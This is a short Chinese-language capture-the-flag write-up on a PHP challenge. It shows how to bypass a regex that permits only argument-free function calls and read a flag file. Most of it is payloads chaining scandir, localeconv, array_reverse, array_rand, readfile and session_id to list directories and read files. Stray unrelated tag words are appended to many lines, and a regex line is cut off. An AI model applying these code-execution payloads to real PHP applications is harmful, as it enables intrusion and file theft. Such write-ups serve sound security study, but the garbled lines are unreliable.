git泄露獲取源碼 php
使用GET傳參,參數爲exp html
通過三層過濾執行 git
第一層過濾僞協議,第二層過濾帶參數的函數,第三層過濾一些函數 正則表達式
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] 數組
(?R)引用當前正則表達式,至關於匹配函數裏的參數 session
所以傳遞的函數不能帶有參數 函數
首先查看當前目錄裏的文件: spa
print_r(scandir(current(localeconv()))); 3d
print_r(scandir(pos(localeconv()))); 指針
scandir — 列出指定路徑中的文件和目錄
current — 返回數組中的當前單元
pos — current() 的別名
localeconv--獲取數字格式信息,它返回一個數組,第一個值爲'.'
而current返回數組的當前單元,因此:
print_r(scandir(current(localeconv()))) = print_r(scandir('.'));
這樣就顯示了目錄下的文件,下面須要獲取flag文件
以相反的元素順序返回數組:array_reverse()函數將原數組中的元素順序翻轉,建立新的數組並返回
payload:
print_r(array_reverse(scandir(current(localeconv()))));
array_flip — 交換數組中的鍵和值
array_rand — 從數組中隨機取出一個或多個單元
這樣會隨機返回文件名,多刷新幾回就能夠獲取falg文件
payload:
print_r(array_rand(array_flip(scandir(current(localeconv())))));
既然獲取了flag.php文件如今就是要讀取它
能夠使用readfile()、highlight_file()及別名函數show_source()
payload:
print_r(readfile(next(array_reverse(scandir(current(localeconv()))))));
next — 將數組中的內部指針向前移動一位
payload:
print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
payload:
readfile(session_id(session_start()));
參考: https://www.cnblogs.com/wangtanzhi/p/12260986.html